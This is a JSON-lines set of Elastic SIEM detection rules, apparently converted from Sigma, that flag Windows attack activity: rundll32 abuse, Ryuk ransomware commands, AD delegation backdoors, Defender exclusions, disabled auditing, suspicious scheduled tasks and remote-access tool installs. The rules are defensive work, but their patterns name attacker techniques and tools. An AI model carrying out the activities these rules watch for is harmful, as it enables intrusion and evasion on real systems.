{"description": "Detects restricted access to applications by the Software Restriction Policies (SRP) policy", "author": ["frack113"], "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "16fc36df-cb9d-7efc-8dff-760054cced53", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Restricted Software Access By SRP", "query": "(winlog.channel:\"Application\" AND Provider_Name:\"Microsoft-Windows-SoftwareRestrictionPolicies\" AND winlog.event_id:(\"865\" OR \"866\" OR \"867\" OR \"868\" OR \"882\"))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1072"], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["", ""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects risky authencaition from a non AD registered device without MFA being required.", "author": ["Harjot Singh", "'@cyb3rjy0t'"], "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "0da9099e-69ed-8a52-6466-d84dd61b9d01", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Suspicious SignIns From A Non Registered Device", "query": "(Status:\"Success\" AND AuthenticationRequirement:\"singleFactorAuthentication\" AND DeviceDetail.trusttype:\"\" AND RiskState:\"atRisk\")", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1078"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1078", "name": "Valid Accounts", "reference": ""}]}], "version": 1, "references": [""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects rundll32 execution where the DLL is located on a remote location (share)", "enabled": false, "false_positives": ["Unlikely"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "f8a6e2cc-3956-36ae-994f-be8d333fe36e", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Rundll32 UNC Path Execution", "query": "((process.executable.text:*\\\\rundll32.exe OR winlog.event_data.OriginalFileName:\"RUNDLL32.EXE\" OR process.command_line.text:*rundll32*) AND process.command_line.text:*\\ \\\\\\\\\\*)", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1021", "T1218"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1218", "name": "System Binary Proxy Execution", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Nasreddine Bencherchali"], "license": ""}
{"description": "Detects rundll32 execution without parameters as observed when running Metasploit windows/smb/psexec exploit module", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "4b41d9c2-5ebe-1b1d-0d43-6a0cb1bf15d4", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Rundll32 Without Parameters", "query": "process.command_line.text:\"rundll32.exe\"", "meta": {"from": "1m"}, "severity": "high", "tags": ["Lateral Movement", "T1021", "T1569", "T1570"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1569", "name": "System Services", "reference": ""}]}, {"tactic": {"id": "TA0008", "reference": "", "name": "Lateral Movement"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1021", "name": "Remote Services", "reference": ""}, {"id": "T1570", "name": "Lateral Tool Transfer", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Bartlomiej Czyz", "Relativity"], "license": ""}
{"description": "Detects rundll32.exe executing from an abnormal drive such as a mounted ISO.", "enabled": false, "false_positives": ["Rare false positives could occur on servers with multiple drives."], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "c134e29a-f9cb-e1cd-1b94-3ee3bdb7ed07", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Rundll32 From Abnormal Drive", "query": "(process.executable:*\\\\rundll32.exe AND (NOT ((process.working_directory:*C\\:\\\\* OR process.working_directory:\"\") OR (NOT _exists_:process.working_directory))))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1218"], "to": "now", "type": "query", "threat": [], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Christopher Peacock '@securepeacock'", "SCYTHE '@scythe_io'"], "license": ""}
{"description": "Detects RunDLL32.exe spawning explorer.exe as child, which is very uncommon, often observes Gamarue spawning the explorer.exe process in an unusual way", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "c8016356-626c-52dd-0087-f09af50a9425", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "RunDLL32 Spawning Explorer", "query": "(process.parent.executable:*\\\\rundll32.exe AND process.executable:*\\\\explorer.exe)", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1218"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1218", "name": "Signed Binary Proxy Execution", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["elhoim"], "license": ""}
{"description": "Detects Russian group activity as described in Global Threat Report 2019 by Crowdstrike", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "b7d2da5a-7600-325a-9ab8-ffaaa9884a43", "language": "lucene", "max_signals": 100, "risk_score": 95, "name": "Judgement Panda Credential Access Activity", "query": "((process.executable:*\\\\xcopy.exe AND process.command_line:*\\/S* AND process.command_line:*\\/E* AND process.command_line:*\\/C* AND process.command_line:*\\/Q* AND process.command_line:*\\/H* AND process.command_line:*\\\\\\*) OR (process.executable:*\\\\adexplorer.exe AND process.command_line:*\\-snapshot* AND process.command_line:*\\\"\\\"* AND process.command_line:*c\\:\\\\users\\\\*))", "meta": {"from": "1m"}, "severity": "critical", "tags": ["Credential Access", "T1003", "T1552"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0006", "reference": "", "name": "Credential Access"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1003", "name": "OS Credential Dumping", "reference": ""}, {"id": "T1552", "name": "Unsecured Credentials", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects Ryuk ransomware activity", "enabled": false, "false_positives": ["Unlikely"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "effc49b5-b338-a98c-4811-05f8259e725a", "language": "lucene", "max_signals": 100, "risk_score": 95, "name": "Ryuk Ransomware", "query": "(process.command_line:*Microsoft\\\\Windows\\\\CurrentVersion\\\\Run* AND process.command_line:*C\\:\\\\users\\\\Public\\\\*)", "meta": {"from": "1m"}, "severity": "critical", "tags": ["T1547"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1547", "name": "Boot or Logon Autostart Execution", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects Ryuk Ransomware command lines", "enabled": false, "false_positives": ["Unlikely"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "effc49b5-b338-a98c-4811-05f8259e725a", "language": "lucene", "max_signals": 100, "risk_score": 95, "name": "Ryuk Ransomware", "query": "(process.executable:(*\\\\net.exe OR *\\\\net1.exe) AND process.command_line:*stop* AND process.command_line:(*samss* OR *audioendpointbuilder* OR *unistoresvc_?????*))", "meta": {"from": "1m"}, "severity": "critical", "tags": ["T1204"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1204", "name": "User Execution", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Vasiliy Burov"], "license": ""}
{"description": "Detects scenario where if a user is assigned the SeEnableDelegationPrivilege right in Active Directory it would allow control of other AD user objects.", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "924ea9f4-8f48-25c0-5d0f-808ff293c360", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Enabled User Right in AD to Control User Objects", "query": "(winlog.channel:\"Security\" AND winlog.event_id:\"4704\" AND winlog.event_data.PrivilegeList:*SeEnableDelegationPrivilege*)", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1098"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1098", "name": "Account Manipulation", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["@neu5ron"], "license": ""}
{"description": "Detects scenario where weak encryption is enabled for a user profile which could be used for hash/password cracking.", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "c3cb24a5-303e-0316-f52f-072dcdcdb558", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Weak Encryption Enabled and Kerberoast", "query": "(winlog.channel:\"Security\" AND winlog.event_id:\"4738\" AND (((winlog.event_data.NewUacValue:(*8??? OR *9??? OR *A??? OR *B??? OR *C??? OR *D??? OR *E??? OR *F???) AND (NOT (winlog.event_data.OldUacValue:(*8??? OR *9??? OR *A??? OR *B??? OR *C??? OR *D??? OR *E??? OR *F???)))) OR (winlog.event_data.NewUacValue:(*1???? OR *3???? OR *5???? OR *7???? OR *9???? OR *B???? OR *D???? OR *F????) AND (NOT (winlog.event_data.OldUacValue:(*1???? OR *3???? OR *5???? OR *7???? OR *9???? OR *B???? OR *D???? OR *F????))))) OR (winlog.event_data.NewUacValue:(*8?? OR *9?? OR *A?? OR *B?? OR *C?? OR *D?? OR *E?? OR *F??) AND (NOT (winlog.event_data.OldUacValue:(*8?? OR *9?? OR *A?? OR *B?? OR *C?? OR *D?? OR *E?? OR *F??))))))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1562"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1562", "name": "Impair Defenses", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["@neu5ron"], "license": ""}
{"description": "Detects scenarios where an attacker enables the OpenSSH server and server starts to listening on SSH socket.", "enabled": false, "false_positives": ["Legitimate administrator activity"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "af1499c2-6785-5578-486b-834e3d446fdb", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "OpenSSH Server Listening On Socket", "query": "(winlog.event_id:\"4\" AND process:\"sshd\" AND payload:Server\\ listening\\ on\\ *)", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Lateral Movement", "T1021"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0008", "reference": "", "name": "Lateral Movement"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1021", "name": "Remote Services", "reference": ""}]}], "version": 1, "references": ["", "", "", "", ""], "timestamp_override": "event.ingested", "author": ["mdecrevoisier"], "license": ""}
{"description": "Detects scenarios where an windows defender exclusion was added in registry where an entity would want to bypass antivirus scanning from windows defender", "enabled": false, "false_positives": ["Intended inclusions by administrator"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "ea010e2f-7adc-64a6-c8de-f05ea1c40360", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Windows Defender Exclusion Set", "query": "(winlog.channel:\"Security\" AND winlog.event_id:(\"4657\" OR \"4656\" OR \"4660\" OR \"4663\") AND winlog.event_data.ObjectName:*\\\\Microsoft\\\\Windows\\ Defender\\\\Exclusions\\\\*)", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1562"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1562", "name": "Impair Defenses", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["@BarryShooshooga"], "license": ""}
{"description": "Detects scenarios where one can control another users or computers account without having to use their credentials.", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "f77f821e-2ad3-7422-062b-c2df56e31c13", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Active Directory User Backdoors", "query": "(winlog.channel:\"Security\" AND ((winlog.event_id:\"4738\" AND (NOT (winlog.event_data.AllowedToDelegateTo:\"\\-\" OR NOT _exists_:winlog.event_data.AllowedToDelegateTo))) OR (winlog.event_id:\"5136\" AND (winlog.event_data.AttributeLDAPDisplayName:\"msDS\\-AllowedToDelegateTo\" OR (winlog.event_data.ObjectClass:\"user\" AND winlog.event_data.AttributeLDAPDisplayName:\"servicePrincipalName\") OR winlog.event_data.AttributeLDAPDisplayName:\"msDS\\-AllowedToActOnBehalfOfOtherIdentity\"))))", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1098"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1098", "name": "Account Manipulation", "reference": ""}]}], "version": 1, "references": ["", "", ""], "timestamp_override": "event.ingested", "author": ["@neu5ron"], "license": ""}
{"description": "Detects scenarios where system auditing (ie: windows event log auditing) is disabled. This may be used in a scenario where an entity would want to bypass local logging to evade detection when windows event logging is enabled and reviewed. Also, it is recommended to turn off \"Local Group Policy Object Processing\" via GPO, which will make sure that Active Directory GPOs take precedence over local/edited computer policies via something such as \"gpedit.msc\". Please note, that disabling \"Local Group Policy Object Processing\" may cause an issue in scenarios of one off specific GPO modifications -- however it is recommended to perform these modifications in Active Directory anyways.", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "edd708a5-5efa-bff2-bd88-e0361557c146", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Disabling Windows Event Auditing", "query": "(winlog.channel:\"Security\" AND winlog.event_id:\"4719\" AND winlog.event_data.AuditPolicyChanges:(*%%8448* OR *%%8450*))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1562"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1562", "name": "Impair Defenses", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["@neu5ron"], "license": ""}
{"description": "Detects scheduled task creation events that include suspicious actions, and is run once at 00:00", "enabled": false, "false_positives": ["Software installation"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "e75298cb-6df3-4458-ba94-7eff3c7c02b3", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Uncommon Scheduled Task Once 00:00", "query": "((process.executable:*\\\\schtasks.exe* AND process.command_line:(*wscript* OR *vbscript* OR *cscript* OR *wmic\\ * OR *wmic.exe* OR *regsvr32.exe* OR *powershell* OR *\\\\AppData\\\\*)) AND ((process.command_line:*once* AND process.command_line:*00\\:00*) OR process.command_line:*Joke*))", "meta": {"from": "1m"}, "severity": "high", "tags": [], "to": "now", "type": "query", "threat": [], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["pH-T"], "license": ""}
{"description": "Detects scheduled task creations or modification on a suspicious schedule type", "enabled": false, "false_positives": ["Legitmate processes that run at logon. Filter according to your environment"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "9c7783ac-d357-9155-dd7d-e4aebeaf0e83", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Suspicious Schtasks Schedule Types", "query": "(((process.executable.text:*\\\\schtasks.exe OR winlog.event_data.OriginalFileName:\"schtasks.exe\") AND process.command_line.text:(*\\ ONLOGON\\ * OR *\\ ONSTART\\ * OR *\\ ONCE\\ * OR *\\ ONIDLE\\ *)) AND (NOT ((process.command_line.text:(*NT\\ AUT* OR *\\ SYSTEM* OR *HIGHEST*)))))", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1053"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1053", "name": "Scheduled Task/Job", "reference": ""}]}], "version": 1, "references": ["", "", ""], "timestamp_override": "event.ingested", "author": ["Nasreddine Bencherchali"], "license": ""}
{"description": "Detects scheduled task creations that have suspicious action command and folder combinations", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "2a841f27-ef75-db67-f797-eedfadbb50f2", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Schtasks From Suspicious Folders", "query": "(process.executable.text:*\\\\schtasks.exe AND process.command_line.text:*\\ \\/create\\ * AND process.command_line.text:(*powershell* OR *cmd\\ \\/c\\ * OR *cmd\\ \\/k\\ * OR *cmd.exe\\ \\/c\\ * OR *cmd.exe\\ \\/k\\ *) AND process.command_line.text:(*C\\:\\\\ProgramData\\\\* OR *%ProgramData%*))", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1053"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1053", "name": "Scheduled Task/Job", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects scheduled task deletion events. Scheduled tasks are likely to be deleted if not used for persistence. Malicious Software often creates tasks directly under the root node e.g. \\TASKNAME", "enabled": false, "false_positives": ["Software installation"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "f5060c17-5a50-7b75-c9dc-a5a31d726473", "language": "lucene", "max_signals": 100, "risk_score": 5, "name": "Scheduled Task Deletion", "query": "(winlog.channel:\"Security\" AND winlog.event_id:\"4699\" AND (NOT ((winlog.event_data.TaskName:\"\\\\Microsoft\\\\Windows\\\\RemovalTools\\\\MRT_ERROR_HB\"))))", "meta": {"from": "1m"}, "severity": "low", "tags": ["Privilege Escalation", "T1053"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1053", "name": "Scheduled Task/Job", "reference": ""}]}, {"tactic": {"id": "TA0004", "reference": "", "name": "Privilege Escalation"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1053", "name": "Scheduled Task/Job", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["David Strassegger", "Tim Shelton"], "license": ""}
{"description": "Detects Schtask creations that point to a suspicious folder or an environment variable often used by malware", "enabled": false, "false_positives": ["Benign scheduled tasks creations or executions that happen often during software installations", "Software that uses the AppData folder and scheduled tasks to update the software in the AppData folders"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "b9cc11ac-3865-7175-dca5-0c0c06a11814", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Suspicious Schtasks From Env Var Folder", "query": "(((process.executable.text:*\\\\schtasks.exe AND process.command_line.text:*\\ \\/create\\ * AND process.command_line.text:(*%AppData%* OR *\\\\AppData\\\\Local\\\\* OR *\\\\AppData\\\\Roaming\\\\* OR *%Public%* OR *\\\\Users\\\\Public* OR *C\\:\\\\Windows\\\\Temp* OR *C\\:\\\\Perflogs*)) OR (process.parent.command_line.text:*\\\\svchost.exe\\ \\-k\\ netsvcs\\ \\-p\\ \\-s\\ Schedule AND process.command_line.text:(*%Public%* OR *\\\\Users\\\\Public* OR *C\\:\\\\Windows\\\\Temp* OR *C\\:\\\\Perflogs*))) AND (NOT ((process.command_line.text:(*update_task.xml* OR *\\/Create\\ \\/TN\\ TVInstallRestore\\ \\/TR*) OR process.parent.command_line.text:*unattended.ini*))))", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1053"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1053", "name": "Scheduled Task/Job", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects ScreenConnect program starts that establish a remote access to that system (not meeting, not remote support)", "enabled": false, "false_positives": ["Legitimate use by administrative staff"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "18a15f22-bab9-33c5-38f7-5a19cb228ae5", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "ScreenConnect Remote Access", "query": "(process.command_line.text:*e\\=Access&* AND process.command_line.text:*y\\=Guest&* AND process.command_line.text:*&p\\=* AND process.command_line.text:*&c\\=* AND process.command_line.text:*&k\\=*)", "meta": {"from": "1m"}, "severity": "high", "tags": ["Initial Access", "T1133"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0001", "reference": "", "name": "Initial Access"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1133", "name": "External Remote Services", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects sdiagnhost.exe calling a suspicious child process (e.g. used in exploits for Follina / CVE-2022-30190)", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "89703ec4-ad96-a0f0-8253-bc1e5647c09d", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Sdiagnhost Calling Suspicious Child Process", "query": "(process.parent.executable.text:*\\\\sdiagnhost.exe AND process.executable.text:(*\\\\powershell.exe OR *\\\\pwsh.exe OR *\\\\cmd.exe OR *\\\\mshta.exe OR *\\\\cscript.exe OR *\\\\wscript.exe OR *\\\\taskkill.exe OR *\\\\regsvr32.exe OR *\\\\rundll32.exe OR *\\\\calc.exe))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1036", "T1218"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1036", "name": "Masquerading", "reference": ""}, {"id": "T1218", "name": "System Binary Proxy Execution", "reference": ""}]}], "version": 1, "references": ["", "", "", ""], "timestamp_override": "event.ingested", "author": ["Nextron Systems"], "license": ""}
{"description": "Detects sdiagnhost.exe calling a suspicious child process", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "89703ec4-ad96-a0f0-8253-bc1e5647c09d", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Sdiagnhost Calling Suspicious Child Process", "query": "(process.parent.executable:*\\\\sdiagnhost.exe AND process.executable:(*\\\\powershell.exe OR *\\\\cmd.exe OR *\\\\mshta.exe OR *\\\\cscript.exe OR *\\\\wscript.exe OR *\\\\taskkill.exe))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1036", "T1218"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1036", "name": "Masquerading", "reference": ""}, {"id": "T1218", "name": "Signed Binary Proxy Execution", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Nextron Systems"], "license": ""}
{"description": "Detects service creation from KrbRelayUp tool used for privilege escalation in windows domain environments where LDAP signing is not enforced (the default settings)", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "7e89dbc8-5651-7460-a3fd-dd9e9cf71986", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "KrbRelayUp Service Installation", "query": "(winlog.event_id:\"7045\" AND winlog.event_data.ServiceName:\"KrbSCM\")", "meta": {"from": "1m"}, "severity": "high", "tags": ["Privilege Escalation", "T1543"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0004", "reference": "", "name": "Privilege Escalation"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1543", "name": "Create or Modify System Process", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Sittikorn S"], "license": ""}
{"description": "Detects service installation in suspicious folder appdata", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "9a4b5c45-1b96-d961-825b-b853ea640a32", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Service Installation in Suspicious Folder", "query": "(winlog.channel:\"System\" AND (Provider_Name:\"Service\\ Control\\ Manager\" AND winlog.event_id:\"7045\" AND winlog.event_data.ImagePath:(*\\\\AppData\\\\* OR *\\\\\\\\127.0.0.1* OR *\\\\\\\\localhost*)) AND (NOT ((winlog.event_data.ServiceName:\"Zoom\\ Sharing\\ Service\" AND winlog.event_data.ImagePath:\\\"C\\:\\\\Program\\ Files\\\\Common\\ Files\\\\Zoom\\\\Support\\\\CptService.exe*))))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Privilege Escalation", "T1543"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1543", "name": "Create or Modify System Process", "reference": ""}]}, {"tactic": {"id": "TA0004", "reference": "", "name": "Privilege Escalation"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1543", "name": "Create or Modify System Process", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["pH-T"], "license": ""}
{"description": "Detects service installation of different remote access tools software. These software are often abused by threat actors to perform", "author": ["Connor Martin", "Nasreddine Bencherchali"], "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "677a3a56-285d-1668-206c-2ea296568068", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Remote Access Tool Services Have Been Installed - Security", "query": "(winlog.channel:\"Security\" AND winlog.event_id:\"4697\" AND winlog.event_data.ServiceFileName:(*SSUService* OR *SplashtopRemoteService* OR *Atera* OR *LogMeIn* OR *LMIGuardianSvc* OR *TeamViewer* OR *RPCService* OR *RPCPerformanceService* OR *BASupportExpressStandaloneService* OR *BASupportExpressSrvcUpdater* OR *GoToMyPC* OR *monblanking* OR *RManService* OR *GoToAssist* OR *AmmyyAdmin* OR *vncserver* OR *Parsec* OR *chromoting* OR *Zoho* OR *jumpcloud*))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1543", "T1569"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1543", "name": "Create or Modify System Process", "reference": ""}]}], "version": 1, "references": [""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects service installation of different remote access tools software. These software are often abused by threat actors to perform", "author": ["Connor Martin", "Nasreddine Bencherchali"], "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "8597df10-c848-173d-5dc6-d9e7ad273cec", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Remote Access Tool Services Have Been Installed - System", "query": "(winlog.channel:\"System\" AND Provider_Name:\"Service Control Manager\" AND winlog.event_id:(\"7045\" OR \"7036\") AND winlog.event_data.ServiceName:(*SSUService* OR *SplashtopRemoteService* OR *Atera* OR *LogMeIn* OR *LMIGuardianSvc* OR *TeamViewer* OR *RPCService* OR *RPCPerformanceService* OR *BASupportExpressStandaloneService* OR *BASupportExpressSrvcUpdater* OR *GoToMyPC* OR *monblanking* OR *RManService* OR *GoToAssist* OR *AmmyyAdmin* OR *vncserver* OR *Parsec* OR *chromoting* OR *Zoho* OR *jumpcloud*))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1543", "T1569"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1543", "name": "Create or Modify System Process", "reference": ""}]}], "version": 1, "references": [""], "license": "", "timestamp_override": "event.ingested"}
